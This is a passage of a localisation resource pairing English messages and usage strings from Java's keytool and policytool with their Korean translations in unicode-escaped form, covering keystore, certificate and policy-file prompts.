                                                                              • Keystore \uc554\ud638\uac00 \ub108\ubb34 \uc9e7\uc2b5\ub2c8\ub2e4. \uc5ec\uc12f \uae00\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4.
                                                                              • Unknown Entry Type
                                                                              • \uc54c \uc218 \uc5c6\ub294 \ud56d\ubaa9 \uc720\ud615
                                                                              • Too many failures. Alias not changed
                                                                              • \uc2e4\ud328 \ud69f\uc218\uac00 \ub108\ubb34 \ub9ce\uc2b5\ub2c8\ub2e4. \ubcc4\uce6d\uc774 \ubcc0\uacbd\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.
                                                                              • Entry for alias <alias> successfully imported.
                                                                              • \ubcc4\uce6d {0}\uc5d0 \ub300\ud55c \ud56d\ubaa9\uc744 \uc131\uacf5\uc801\uc73c\ub85c \uac00\uc838\uc654\uc2b5\ub2c8\ub2e4.
                                                                              • Entry for alias <alias> not imported.
                                                                              • \ubcc4\uce6d {0}\uc5d0 \ub300\ud55c \ud56d\ubaa9\uc744 \uac00\uc838\uc624\uc9c0 \ubabb\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported.
                                                                              • \ubcc4\uce6d {0}\uc5d0 \ub300\ud55c \ud56d\ubaa9\uc744 \uac00\uc838\uc624\ub294 \ub3d9\uc548 \ubb38\uc81c\uac00 \ubc1c\uc0dd\ud588\uc2b5\ub2c8\ub2e4. {1}.\n\ubcc4\uce6d {0\uc5d0 \ub300\ud55c \ud56d\ubaa9\uc744 \uac00\uc838\uc624\uc9c0 \ubabb\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled
                                                                              • \uac00\uc838\uc624\uae30 \uba85\ub839 \uc644\ub8cc: {0}\uac1c \ud56d\ubaa9\uc744 \uc131\uacf5\uc801\uc73c\ub85c \uac00\uc838\uc654\uc2b5\ub2c8\ub2e4. {1}\uac1c \ud56d\ubaa9\uc740 \uc2e4\ud328\ud588\uac70\ub098 \ucde8\uc18c\ub418\uc5c8\uc2b5\ub2c8\ub2e4.
                                                                              • Warning: Overwriting existing alias <alias> in destination keystore
                                                                              • \uacbd\uace0:\t \ub300\uc0c1 \ud0a4 \uc800\uc7a5\uc18c\uc5d0\uc11c \uae30\uc874 \ubcc4\uce6d {0}\uc744(\ub97c) \ub36e\uc5b4\uc4f0\ub294 \uc911
                                                                              • Existing entry alias <alias> exists, overwrite? [no]:
                                                                              • \uae30\uc874 \ud56d\ubaa9 \ubcc4\uce6d {0}\uc774(\uac00) \uc788\uc2b5\ub2c8\ub2e4. \ub36e\uc5b4\uc4f0\uc2dc\uaca0\uc2b5\ub2c8\uae4c? [\uc544\ub2c8\uc624]:
                                                                              • Too many failures - try later
                                                                              • \uc624\ub958\uac00 \ub108\ubb34 \ub9ce\uc2b5\ub2c8\ub2e4. \ub098\uc911\uc5d0 \ub2e4\uc2dc \uc2dc\ub3c4\ud558\uc2ed\uc2dc\uc624.
                                                                              • Certification request stored in file <filename>
                                                                              • \uc778\uc99d \uc694\uccad\uc774 <{0}> \ud30c\uc77c\uc5d0 \uc800\uc7a5\ub418\uc5c8\uc2b5\ub2c8\ub2e4.
                                                                              • Submit this to your CA
                                                                              • CA\uc5d0\uac8c \uc81c\ucd9c\ud558\uc2ed\uc2dc\uc624.
                                                                              • if alias not specified, destalias, srckeypass, and destkeypass must not be specified
                                                                              • \ubcc4\uce6d\uc744 \uc9c0\uc815\ud558\uc9c0 \uc54a\uc740 \uacbd\uc6b0 destalias, srckeypass \ubc0f destkeypass\ub97c \uc9c0\uc815\ud558\uba74 \uc548 \ub429\ub2c8\ub2e4.
                                                                              • Certificate stored in file <filename>
                                                                              • \uc778\uc99d\uc11c\uac00 <{0}> \ud30c\uc77c\uc5d0 \uc800\uc7a5\ub418\uc5c8\uc2b5\ub2c8\ub2e4.
                                                                              • Certificate reply was installed in keystore
                                                                              • \uc778\uc99d\uc11c \ud68c\uc2e0\uc774 keystore\uc5d0 \uc124\uce58\ub418\uc5c8\uc2b5\ub2c8\ub2e4.
                                                                              • Certificate reply was not installed in keystore
                                                                              • \uc778\uc99d \ud68c\uc2e0\uc774 keystore\uc5d0 \uc124\uce58\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.
                                                                              • Certificate was added to keystore
                                                                              • \uc778\uc99d\uc774 keystore\uc5d0 \ucd94\uac00\ub418\uc5c8\uc2b5\ub2c8\ub2e4.
                                                                              • Certificate was not added to keystore
                                                                              • \uc778\uc99d\uc11c\uac00 keystore\uc5d0 \ucd94\uac00\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.
                                                                              • [Storing ksfname]
                                                                              • [{0} \uc800\uc7a5 \uc911]
                                                                              • alias has no public key (certificate)
                                                                              • {0}\uc5d0\ub294 \uacf5\uac1c \ud0a4(\uc778\uc99d\uc11c)\uac00 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • Cannot derive signature algorithm
                                                                              • \uc11c\uba85 \uc54c\uace0\ub9ac\uc998\uc744 \uc720\ub3c4\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • Alias <alias> does not exist
                                                                              • <{0}> \ubcc4\uce6d\uc774 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • Alias <{0}> has no certificate
                                                                              • <{0}> \ubcc4\uce6d\uc5d0 \uc778\uc99d\uc11c\uac00 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • Key pair not generated, alias <alias> already exists
                                                                              • \ud0a4 \uc30d\uc774 \uc0dd\uc131\ub418\uc9c0 \uc54a\uc558\uace0 <{0}> \ubcc4\uce6d\uc774 \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4.
                                                                              • Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name
                                                                              • \ub2e4\uc74c\uc5d0 \ub300\ud574 \uc720\ud6a8 \uae30\uac04\uc774 {3}\uc77c\uc778 {0}\ube44\ud2b8 {1} \ud0a4 \uc30d \ubc0f \uc790\uccb4 \uc11c\uba85\ub41c \uc778\uc99d\uc11c({2}) \uc0dd\uc131 \uc911\n\t: {4}
                                                                              • Enter key password for <alias>
                                                                              • <{0}>\uc5d0 \ub300\ud55c \ud0a4 \uc554\ud638\ub97c \uc785\ub825\ud558\uc2ed\uc2dc\uc624.
                                                                              • \t(RETURN if same as keystore password):
                                                                              • \t(keystore \uc554\ud638\uc640 \uac19\uc740 \uacbd\uc6b0 Enter\ub97c \ub204\ub974\uc2ed\uc2dc\uc624):
                                                                              • Key password is too short - must be at least 6 characters
                                                                              • \ud0a4 \uc554\ud638\uac00 \ub108\ubb34 \uc9e7\uc2b5\ub2c8\ub2e4. \uc5ec\uc12f \uae00\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4.
                                                                              • Too many failures - key not added to keystore
                                                                              • \uc624\ub958\uac00 \ub108\ubb34 \ub9ce\uc2b5\ub2c8\ub2e4. keystore\uc5d0 \ud0a4\uac00 \ucd94\uac00\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.
                                                                              • Destination alias <dest> already exists
                                                                              • \ub300\uc0c1 \ubcc4\uce6d <{0}>\uc774(\uac00) \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4.
                                                                              • Password is too short - must be at least 6 characters
                                                                              • \uc554\ud638\uac00 \ub108\ubb34 \uc9e7\uc2b5\ub2c8\ub2e4. \uc5ec\uc12f \uae00\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4.
                                                                              • Too many failures. Key entry not cloned
                                                                              • \uc624\ub958\uac00 \ub108\ubb34 \ub9ce\uc2b5\ub2c8\ub2e4. \ud0a4 \ud56d\ubaa9\uc774 \ubcf5\uc81c\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.
                                                                              • key password for <alias>
                                                                              • <{0}>\uc5d0 \ub300\ud55c \ud0a4 \uc554\ud638
                                                                              • Keystore entry for <id.getName()> already exists
                                                                              • <{0}>\uc5d0 \ub300\ud55c keystore \ud56d\ubaa9\uc774 \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4.
                                                                              • Creating keystore entry for <id.getName()> ...
                                                                              • <{0}>\uc5d0 \ub300\ud55c keystore \ud56d\ubaa9\uc744 \uc791\uc131\ud558\ub294 \uc911 ...
                                                                              • No entries from identity database added
                                                                              • \uc2e0\uc6d0 \ub370\uc774\ud130\ubca0\uc774\uc2a4\uc5d0\uc11c \ud56d\ubaa9\uc774 \ucd94\uac00\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.
                                                                              • Alias name: alias
                                                                              • \ubcc4\uce6d \uc774\ub984: {0}
                                                                              • Creation date: keyStore.getCreationDate(alias)
                                                                              • \uc791\uc131\uc77c: keyStore.getCreationDate(alias)
                                                                              • alias, keyStore.getCreationDate(alias),
                                                                              • {0}, {1,date},
                                                                              • alias,
                                                                              • {0},
                                                                              • Entry type: <type>
                                                                              • \ud56d\ubaa9 \uc720\ud615: {0}
                                                                              • Certificate chain length:
                                                                              • \uc778\uc99d\uc11c \uccb4\uc778 \uae38\uc774:
                                                                              • Certificate[(i + 1)]:
                                                                              • \uc778\uc99d\uc11c[{0,number,integer}]:
                                                                              • Certificate fingerprint (MD5):
                                                                              • \uc778\uc99d\uc11c \uc9c0\ubb38(MD5):
                                                                              • Entry type: trustedCertEntry\n
                                                                              • \uc785\ub825 \uc720\ud615: trustedCertEntry\n
                                                                              • trustedCertEntry,
                                                                              • Keystore type:
                                                                              • Keystore \uc720\ud615:
                                                                              • Keystore provider:
                                                                              • Keystore \uacf5\uae09\uc790:
                                                                              • Your keystore contains keyStore.size() entry
                                                                              • Keystore\uc5d0\ub294 {0,number,integer} \ud56d\ubaa9\uc774 \ud3ec\ud568\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.
                                                                              • Your keystore contains keyStore.size() entries
                                                                              • Failed to parse input
                                                                              • \uc785\ub825\uc744 \uad6c\ubb38 \ubd84\uc11d\ud558\uc9c0 \ubabb\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • Empty input
                                                                              • \uc785\ub825\uc774 \ube44\uc5b4\uc788\uc2b5\ub2c8\ub2e4.
                                                                              • Not X.509 certificate
                                                                              • X.509 \uc778\uc99d\uc11c\uac00 \uc544\ub2d9\ub2c8\ub2e4.
                                                                              • alias has no public key
                                                                              • {0}\uc5d0\ub294 \uacf5\uac1c \ud0a4\uac00 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • alias has no X.509 certificate
                                                                              • {0}\uc5d0 X.509 \uc778\uc99d\uc11c\uac00 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • New certificate (self-signed):
                                                                              • \uc0c8 \uc778\uc99d\uc11c(\uc790\uccb4 \uc11c\uba85):
                                                                              • Reply has no certificates
                                                                              • \ud68c\uc2e0\uc5d0 \uc778\uc99d\uc11c\uac00 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • Certificate not imported, alias <alias> already exists
                                                                              • \uc778\uc99d\uc11c\ub97c \uac00\uc838\uc624\uc9c0 \uc54a\uc558\uace0 <{0}> \ubcc4\uce6d\uc774 \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4.
                                                                              • Input not an X.509 certificate
                                                                              • \uc785\ub825\uc774 X.509 \uc778\uc99d\uc11c\uac00 \uc544\ub2d9\ub2c8\ub2e4.
                                                                              • Certificate already exists in keystore under alias <trustalias>
                                                                              • \uc778\uc99d\uc11c\uac00 <{0}> \ubcc4\uce6d \uc544\ub798\uc758 keystore\uc5d0 \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4.
                                                                              • Do you still want to add it? [no]:
                                                                              • \ucd94\uac00\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c? [\uc544\ub2c8\uc624]:
                                                                              • Certificate already exists in system-wide CA keystore under alias <trustalias>
                                                                              • \uc778\uc99d\uc11c\uac00 <{0}> \ubcc4\uce6d \uc544\ub798\uc758 \uc2dc\uc2a4\ud15c \ubc94\uc704 CA keystore\uc5d0 \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4.
                                                                              • Do you still want to add it to your own keystore? [no]:
                                                                              • \uc0ac\uc6a9\uc790 keystore\uc5d0 \ucd94\uac00\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c? [\uc544\ub2c8\uc624]:
                                                                              • Trust this certificate? [no]:
                                                                              • \uc774 \uc778\uc99d\uc11c\ub97c \uc2e0\ub8b0\ud558\uc2ed\ub2c8\uae4c? [\uc544\ub2c8\uc624]:
                                                                              • YES
                                                                              • \uc608
                                                                              • New prompt:
                                                                              • \uc0c8 \ud504\ub86c\ud504\ud2b8:
                                                                              • Passwords must differ
                                                                              • \uc554\ud638\ub294 \ub2ec\ub77c\uc57c \ud569\ub2c8\ub2e4.
                                                                              • Re-enter new prompt:
                                                                              • \uc0c8 {0}\uc744(\ub97c) \ub2e4\uc2dc \uc785\ub825\ud558\uc2ed\uc2dc\uc624:
                                                                              • Re-enter new password:
                                                                              • \uc0c8 \uc554\ud638\ub97c \ub2e4\uc2dc \uc785\ub825\ud558\uc2ed\uc2dc\uc624:
                                                                              • They don\'t match. Try again
                                                                              • \uc77c\uce58\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4. \ub2e4\uc2dc \uc2dc\ub3c4\ud558\uc2ed\uc2dc\uc624.
                                                                              • Enter prompt alias name:
                                                                              • {0} \ubcc4\uce6d \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624:
                                                                              • Enter new alias name\t(RETURN to cancel import for this entry):
                                                                              • \uc0c8 \ubcc4\uce6d \uc785\ub825\t(Enter - \uc774 \ud56d\ubaa9\uc5d0 \ub300\ud55c \uac00\uc838\uc624\uae30 \ucde8\uc18c):
                                                                              • Enter alias name:
                                                                              • \ubcc4\uce6d \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624:
                                                                              • \t(RETURN if same as for <otherAlias>)
                                                                              • \t(<{0}>\uc640(\uacfc) \uac19\uc740 \uacbd\uc6b0 Enter\ub97c \ub204\ub974\uc2ed\uc2dc\uc624.)
                                                                              • *PATTERN* printX509Cert
                                                                              • \uc18c\uc720\uc790: {0}\n\ubc1c\uae09\uc790: {1}\n\uc77c\ub828 \ubc88\ud638: {2}\n\uc720\ud6a8 \uae30\uac04 \uc2dc\uc791: {3} \ub05d: {4}\n\uc778\uc99d \uc9c0\ubb38:\n\t MD5: {5}\n\t SHA1: {6}\n\t \uc11c\uba85 \uc54c\uace0\ub9ac\uc998 \uc774\ub984: {7}\n\t \ubc84\uc804: {8}
                                                                              • What is your first and last name?
                                                                              • \uc774\ub984\uacfc \uc131\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624.
                                                                              • What is the name of your organizational unit?
                                                                              • \uc870\uc9c1 \ub2e8\uc704 \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624.
                                                                              • What is the name of your organization?
                                                                              • \uc870\uc9c1 \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624.
                                                                              • What is the name of your City or Locality?
                                                                              • \uad6c/\uad70/\uc2dc \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624?
                                                                              • What is the name of your State or Province?
                                                                              • \uc2dc/\ub3c4 \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624.
                                                                              • What is the two-letter country code for this unit?
                                                                              • \uc774 \uc870\uc9c1\uc758 \ub450 \uc790\ub9ac \uad6d\uac00 \ucf54\ub4dc\ub97c \uc785\ub825\ud558\uc2ed\uc2dc\uc624.
                                                                              • Is <name> correct?
                                                                              • {0}\uc774(\uac00) \ub9de\uc2b5\ub2c8\uae4c?
                                                                              • no
                                                                              • \uc544\ub2c8\uc624
                                                                              • yes
                                                                              • y
                                                                              • [defaultValue]:
                                                                              • [{0}]:
                                                                              • Alias <alias> has no key
                                                                              • \ubcc4\uce6d <{0}>\uc5d0 \ud0a4 \uc5c6\uc74c
                                                                              • Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries
                                                                              • \ubcc4\uce6d <{0}>\uc774(\uac00) \uac1c\uc778 \ud0a4 \ud56d\ubaa9\uc774 \uc544\ub2cc \ud56d\ubaa9 \uc720\ud615\uc744 \ucc38\uc870\ud569\ub2c8\ub2e4. -keyclone \uba85\ub839\uc740 \uac1c\uc778 \ud0a4 \ud56d\ubaa9\uc758 \ubcf5\uc81c\ub9cc \uc9c0\uc6d0\ud569\ub2c8\ub2e4.
                                                                              • ***************** WARNING WARNING WARNING *****************
                                                                              • ************** \uacbd\uace0 \uacbd\uace0 \uacbd\uace0 **************
                                                                              • * The integrity of the information stored in your keystore *
                                                                              • * keystore\uc5d0 \uc800\uc7a5\ub41c \uc815\ubcf4\uc758 \ubb34\uacb0\uc131\uc774 \ud655\uc778\ub418\uc9c0 *
                                                                              • * The integrity of the information stored in the srckeystore*
                                                                              • * srckeystore\uc5d0 \uc800\uc7a5\ub41c \uc815\ubcf4\uc758 \ubb34\uacb0\uc131*
                                                                              • * has NOT been verified! In order to verify its integrity, *
                                                                              • * \uc54a\uc558\uc2b5\ub2c8\ub2e4! \ubb34\uacb0\uc131\uc744 \ud655\uc778\ud558\ub824\uba74 keystore *
                                                                              • * you must provide your keystore password. *
                                                                              • * \uc554\ud638\ub97c \uc81c\uacf5\ud574\uc57c \ud569\ub2c8\ub2e4. *
                                                                              • * you must provide the srckeystore password. *
                                                                              • * srckeystore \uc554\ud638\ub97c \uc81c\uacf5\ud574\uc57c \ud569\ub2c8\ub2e4. *
                                                                              • Certificate reply does not contain public key for <alias>
                                                                              • \uc778\uc99d\uc11c \ud68c\uc2e0\uc5d0 <{0}>\uc5d0 \ub300\ud55c \uacf5\uac1c \ud0a4\uac00 \ub4e4\uc5b4\uc788\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.
                                                                              • Incomplete certificate chain in reply
                                                                              • \ud68c\uc2e0\uc758 \ubd88\uc644\uc804\ud55c \uc778\uc99d\uc11c \uccb4\uc778
                                                                              • Certificate chain in reply does not verify:
                                                                              • \ud68c\uc2e0\uc758 \uc778\uc99d\uc11c \uccb4\uc778\uc774 \ud655\uc778\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4:
                                                                              • Top-level certificate in reply:\n
                                                                              • \ud68c\uc2e0\uc758 \ucd5c\uc0c1\uc704 \uc778\uc99d\uc11c:\n
                                                                              • ... is not trusted.
                                                                              • ... \uc778\uc99d\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.
                                                                              • Install reply anyway? [no]:
                                                                              • \ud68c\uc2e0\uc744 \uc124\uce58\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c? [\uc544\ub2c8\uc624]:
                                                                              • NO
                                                                              • Public keys in reply and keystore don\'t match
                                                                              • \ud68c\uc2e0\uacfc keystore\uc758 \uacf5\uac1c \ud0a4\uac00 \uc77c\uce58\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.
                                                                              • Certificate reply and certificate in keystore are identical
                                                                              • \ud68c\uc2e0\uc758 \uc778\uc99d\uc11c\uc640 keystore\uc758 \uc778\uc99d\uc11c\uac00 \ub3d9\uc77c\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.
                                                                              • Failed to establish chain from reply
                                                                              • \ud68c\uc2e0\uc758 \uccb4\uc778\uc744 \uc124\uc815\ud558\uc9c0 \ubabb\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • n
                                                                              • Wrong answer, try again
                                                                              • \uc798\ubabb\ub41c \uc751\ub2f5\uc785\ub2c8\ub2e4. \ub2e4\uc2dc \uc2dc\ub3c4\ud558\uc2ed\uc2dc\uc624.
                                                                              • Secret key not generated, alias <alias> already exists
                                                                              • \ubcf4\uc548 \ud0a4\uac00 \uc0dd\uc131\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4. \ubcc4\uce6d <{0}>\uc774(\uac00) \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4.
                                                                              • Please provide -keysize for secret key generation
                                                                              • \ubcf4\uc548 \ud0a4 \uc0dd\uc131\uc744 \uc704\ud55c -keysize\ub97c \uc81c\uacf5\ud558\uc2ed\uc2dc\uc624.
                                                                              • keytool usage:\n
                                                                              • keytool \uc0ac\uc6a9\ubc95:\n
                                                                              • Extensions:
                                                                              • \ud655\uc7a5\uc790:
                                                                              • -certreq [-v] [-protected]
                                                                              • \t [-alias <alias>] [-sigalg <sigalg>]
                                                                              • \t [-alias <\ubcc4\uce6d>] [-sigalg <\uc11c\uba85 \uc54c\uace0\ub9ac\uc998>]
                                                                              • \t [-file <csr_file>] [-keypass <keypass>]
                                                                              • \t [-file <csr \ud30c\uc77c>] [-keypass <\ud0a4 \uc554\ud638>]
                                                                              • \t [-keystore <keystore>] [-storepass <storepass>]
                                                                              • \t [-keystore <\ud0a4 \uc800\uc7a5\uc18c>] [-storepass <\uc800\uc7a5\uc18c \uc554\ud638>]
                                                                              • \t [-storetype <storetype>] [-providername <name>]
                                                                              • \t [-storetype <\uc800\uc7a5\uc18c \uc720\ud615>] [-providername <\uc774\ub984>]
                                                                              • \t [-providerclass <provider_class_name> [-providerarg <arg>]] ...
                                                                              • \t [-providerclass <\uacf5\uae09\uc790 \ud074\ub798\uc2a4 \uc774\ub984> [-providerarg <\uc778\uc218>]] ...
                                                                              • \t [-providerpath <pathlist>]
                                                                              • \t [-providerpath <\uacbd\ub85c \ubaa9\ub85d>]
                                                                              • -delete [-v] [-protected] -alias <alias>
                                                                              • -delete [-v] [-protected] -alias <\ubcc4\uce6d>
                                                                              • -exportcert [-v] [-rfc] [-protected]
                                                                              • \t [-alias <alias>] [-file <cert_file>]
                                                                              • \t [-alias <\ubcc4\uce6d>] [-file <\uc778\uc99d\uc11c \ud30c\uc77c>]
                                                                              • -genkeypair [-v] [-protected]
                                                                              • \t [-alias <alias>]
                                                                              • \t [-alias <\ubcc4\uce6d>]
                                                                              • \t [-keyalg <keyalg>] [-keysize <keysize>]
                                                                              • \t [-keyalg <\ud0a4 \uc54c\uace0\ub9ac\uc998>] [-keysize <\ud0a4 \ud06c\uae30>]
                                                                              • \t [-sigalg <sigalg>] [-dname <dname>]
                                                                              • \t [-sigalg <\uc11c\uba85 \uc54c\uace0\ub9ac\uc998>] [-dname <\ub300\uc0c1 \uc774\ub984>]
                                                                              • \t [-validity <valDays>] [-keypass <keypass>]
                                                                              • \t [-validity <\uc720\ud6a8\uc77c>] [-keypass <\ud0a4 \uc554\ud638>]
                                                                              • -genseckey [-v] [-protected]
                                                                              • -help
                                                                              • -importcert [-v] [-noprompt] [-trustcacerts] [-protected]
                                                                              • \t [-alias <alias>] [-keypass <keypass>]
                                                                              • \t [-alias <\ubcc4\uce6d>] [-keypass <\ud0a4 \uc554\ud638>]
                                                                              • \t [-file <cert_file>] [-keypass <keypass>]
                                                                              • \t [-file <\uc778\uc99d\uc11c \ud30c\uc77c>] [-keypass <\ud0a4 \uc554\ud638>]
                                                                              • -importkeystore [-v]
                                                                              • \t [-srckeystore <srckeystore>] [-destkeystore <deststoretype>]
                                                                              • \t [-srckeystore <\uc18c\uc2a4 \ud0a4 \uc800\uc7a5\uc18c>] [-destkeystore <\ub300\uc0c1 \ud0a4 \uc800\uc7a5\uc18c>]
                                                                              • \t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]
                                                                              • \t [-srcstoretype <\uc18c\uc2a4 \uc800\uc7a5\uc18c \uc720\ud615>] [-deststoretype <\ub300\uc0c1 \uc800\uc7a5\uc18c \uc720\ud615>]
                                                                              • \t [-srcprotected] [-destprotected]
                                                                              • \t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]
                                                                              • \t [-srcstorepass <\uc18c\uc2a4 \uc800\uc7a5\uc18c \uc554\ud638>] [-deststorepass <\ub300\uc0c1 \uc800\uc7a5\uc18c \uc554\ud638>]
                                                                              • \t [-srcprovidername <\uc18c\uc2a4 \uacf5\uae09\uc790 \uc774\ub984>]\n\t [-destprovidername <\ub300\uc0c1 \uacf5\uae09\uc790 \uc774\ub984>]
                                                                              • \t [-srcalias <srcalias> [-destalias <destalias>]
                                                                              • \t [-srcalias <\uc18c\uc2a4 \ubcc4\uce6d> [-destalias <\ub300\uc0c1 \ubcc4\uce6d>]
                                                                              • \t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]
                                                                              • \t [-srckeypass <\uc18c\uc2a4 \ud0a4 \uc554\ud638>] [-destkeypass <\ub300\uc0c1 \ud0a4 \uc554\ud638>]]
                                                                              • \t [-noprompt]
                                                                              • -changealias [-v] [-protected] -alias <alias> -destalias <destalias>
                                                                              • -changealias [-v] [-protected] -alias <\ubcc4\uce6d> -destalias <\ub300\uc0c1 \ubcc4\uce6d>
                                                                              • \t [-keypass <keypass>]
                                                                              • \t [-keypass <\ud0a4 \uc554\ud638>]
                                                                              • -keypasswd [-v] [-alias <alias>]
                                                                              • -keypasswd [-v] [-alias <\ubcc4\uce6d>]
                                                                              • \t [-keypass <old_keypass>] [-new <new_keypass>]
                                                                              • \t [-keypass <\uae30\uc874 \ud0a4 \uc554\ud638>] [-new <\uc0c8 \ud0a4 \uc554\ud638>]
                                                                              • -list [-v | -rfc] [-protected]
                                                                              • -printcert [-v] [-file <cert_file>]
                                                                              • -printcert [-v] [-file <\uc778\uc99d\uc11c \ud30c\uc77c>]
                                                                              • -storepasswd [-v] [-new <new_storepass>]
                                                                              • -storepasswd [-v] [-new <\uc0c8 \uc800\uc7a5\uc18c \uc554\ud638>]
                                                                              • Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured.
                                                                              • \uacbd\uace0:\t \ubcc4\uce6d {0}\uc5d0 \ub300\ud55c \uacf5\uac1c \ud0a4\uac00 \uc5c6\uc2b5\ub2c8\ub2e4. \ud0a4 \uc800\uc7a5\uc18c\uac00 \uc81c\ub300\ub85c \uad6c\uc131\ub418\uc5b4 \uc788\ub294\uc9c0 \ud655\uc778\ud558\uc2ed\uc2dc\uc624.
                                                                              • Warning: Class not found: class
                                                                              • \uacbd\uace0: \ud074\ub798\uc2a4\ub97c \ucc3e\uc744 \uc218 \uc5c6\uc74c: {0}
                                                                              • Warning: Invalid argument(s) for constructor: {0}
                                                                              • \uacbd\uace0:\t \uc798\ubabb\ub41c \uad6c\uc131\uc790 \uc778\uc218: {0}
                                                                              • Illegal Principal Type: type
                                                                              • \uc798\ubabb\ub41c \uae30\ubcf8 \uc720\ud615: {0}
                                                                              • Illegal option: option
                                                                              • \uc798\ubabb\ub41c \uc635\uc158: {0}
                                                                              • Usage: policytool [options]
                                                                              • \uc0ac\uc6a9\ubc95: policytool [\uc635\uc158]
                                                                              • [-file <file>] policy file location
                                                                              • [-file <\ud30c\uc77c>] \uc815\ucc45 \ud30c\uc77c \uc704\uce58
                                                                              • New
                                                                              • \uc0c8\ub85c \ub9cc\ub4e4\uae30
                                                                              • Open
                                                                              • \uc5f4\uae30
                                                                              • Save
                                                                              • \uc800\uc7a5
                                                                              • Save As
                                                                              • \ub2e4\ub978 \uc774\ub984\uc73c\ub85c \uc800\uc7a5
                                                                              • View Warning Log
                                                                              • \uacbd\uace0 \ub85c\uadf8 \ubcf4\uae30
                                                                              • Exit
                                                                              • \uc885\ub8cc
                                                                              • Add Policy Entry
                                                                              • \uc815\ucc45 \ud56d\ubaa9 \ucd94\uac00
                                                                              • Edit Policy Entry
                                                                              • \uc815\ucc45 \ud56d\ubaa9 \ud3b8\uc9d1
                                                                              • Remove Policy Entry
                                                                              • \uc815\ucc45 \ud56d\ubaa9 \uc81c\uac70
                                                                              • Edit
                                                                              • \ud3b8\uc9d1
                                                                              • Retain
                                                                              • \uc720\uc9c0
                                                                              • Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name.
                                                                              • Add Public Key Alias
                                                                              • \uacf5\uac1c \ud0a4 \ubcc4\uce6d \ucd94\uac00
                                                                              • Remove Public Key Alias
                                                                              • \uacf5\uac1c \ud0a4 \ubcc4\uce6d \uc81c\uac70
                                                                              • File
                                                                              • \ud30c\uc77c
                                                                              • KeyStore
                                                                              • \ud0a4 \uc800\uc7a5\uc18c
                                                                              • Policy File:
                                                                              • \uc815\ucc45 \ud30c\uc77c:
                                                                              • Could not open policy file: policyFile: e.toString()
                                                                              • \uc815\ucc45 \ud30c\uc77c\uc744 \uc5f4\uc9c0 \ubabb\ud588\uc2b5\ub2c8\ub2e4. {0}: {1}
                                                                              • Policy Tool
                                                                              • \uc815\ucc45 \ub3c4\uad6c
                                                                              • Errors have occurred while opening the policy configuration. View the Warning Log for more information.
                                                                              • \uc815\ucc45 \uad6c\uc131\uc744 \uc5ec\ub294 \ub3d9\uc548 \uc624\ub958\uac00 \ubc1c\uc0dd\ud588\uc2b5\ub2c8\ub2e4. \uc790\uc138\ud55c \ub0b4\uc6a9\uc740 \uacbd\uace0 \ub85c\uadf8\ub97c \ubcf4\uc2ed\uc2dc\uc624.
                                                                              • Error
                                                                              • \uc624\ub958
                                                                              • OK
                                                                              • \ud655\uc778
                                                                              • Status
                                                                              • \uc0c1\ud0dc
                                                                              • Warning
                                                                              • \uacbd\uace0
                                                                              • Permission:
